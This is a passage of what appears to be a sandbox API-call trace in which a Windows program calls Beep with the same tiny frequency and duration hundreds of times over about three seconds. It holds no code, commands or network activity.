dwDuration=0x1) returned 1 [0243.183] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.200] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.214] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.234] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.236] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.251] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.267] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.268] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.269] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.270] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.271] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.272] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.273] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.274] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.275] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.276] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.277] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.293] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.308] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.324] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.325] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.326] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.341] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.357] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.373] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.374] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.375] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.390] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.406] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.407] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.408] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.409] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.410] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.411] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.412] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.413] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.414] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.415] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.416] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.431] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.447] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.463] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.465] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.480] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.496] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.512] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.512] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.513] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.529] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.545] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.560] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.561] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.562] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.578] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.594] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.609] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.610] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.611] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.627] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.643] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.643] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.644] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.645] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.646] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.647] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.648] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.650] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.650] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.651] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.652] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.668] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.683] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.699] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.700] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.701] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.717] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.732] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.748] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.749] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.750] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.766] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.782] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.797] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.798] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.799] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.814] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.830] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.831] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.832] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.833] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.834] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.835] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.836] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.837] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.838] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.839] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.840] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.855] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.871] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.887] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.888] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.889] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.904] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.920] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.921] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.922] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.923] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.924] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.925] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.926] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.927] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.928] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.929] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.930] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.946] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.961] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.978] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.980] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.981] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.982] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.983] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.984] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.985] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.986] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.987] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.002] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.018] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.034] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.035] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.035] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.051] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.067] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.082] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.083] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.084] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.100] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.116] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.116] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.118] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.118] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.119] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.120] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.121] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.122] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.124] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.125] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.141] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.157] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.172] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.173] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.174] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.190] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.206] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.207] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.207] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.208] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.209] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.211] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.211] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.212] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.213] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.215] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.215] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.234] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.247] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.262] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.263] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.265] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.280] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.296] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.311] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.312] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.313] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.329] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.345] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.345] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.346] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.362] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.377] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.393] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.394] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.395] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.411] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.426] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.427] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.429] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.444] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.459] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.475] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.476] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.477] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.493] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.509] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.509] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.510] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.526] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.542] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.557] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.558] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.559] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.575] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.591] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.591] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.592] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.608] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.624] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.639] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.640] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.641] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.657] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.672] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.673] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.674] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.675] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.676] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.677] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.678] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.680] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.680] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.681] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.682] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.698] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.714] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.730] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.731] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.747] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.763] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.779] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.780] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.795] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.811] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.827] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.828] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.829] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.844] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.860] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.861] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.862] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.878] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.893] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.909] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.910] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.911] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.927] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.942] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.943] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.944] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.945] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.946] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.947] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.948] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.949] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.950] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.951] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.952] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.968] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.984] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0244.999] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.000] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.016] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.032] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.033] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.034] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.035] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.036] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.037] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.038] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.039] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.040] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.042] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.058] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.073] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.090] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.091] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.106] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.122] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.123] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.124] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.125] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.126] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.127] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.128] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.129] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.130] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.132] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.147] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.163] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.179] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.180] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.181] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.196] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.212] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.228] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.228] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.236] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.245] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.261] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.276] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.277] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.279] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.294] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.310] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.311] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.312] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.313] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.314] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.315] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.317] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.318] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.318] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.319] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.335] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.351] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.366] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.382] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.384] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.400] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.416] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.431] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.432] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.433] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.448] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.464] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.480] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.481] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.481] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.498] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.513] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.514] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.515] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.530] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.546] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.562] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.562] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.563] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.579] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.595] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.596] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.597] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.612] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.628] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.646] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.661] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.677] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.678] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.679] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.680] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.681] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.682] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.683] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.684] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.685] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.686] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.687] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.702] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.718] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.831] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.866] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.866] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.868] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.868] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.870] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.871] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.872] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.872] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.873] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.875] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.876] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.877] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.878] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.878] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.879] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.880] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.881] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.882] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.891] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.894] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.912] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.929] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.947] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.962] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.974] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0245.993] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.009] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.027] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.029] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.033] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.056] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.065] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.082] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.099] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.120] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.123] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.140] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.160] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.170] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.191] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.210] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.218] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.237] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.259] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.268] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.284] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.287] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.302] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.320] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.342] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.351] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.368] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.389] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.401] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.424] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.434] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.449] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.456] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.467] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.483] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.484] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.505] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.515] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.533] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.550] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.566] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.588] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.598] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.616] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.632] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0246.653] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 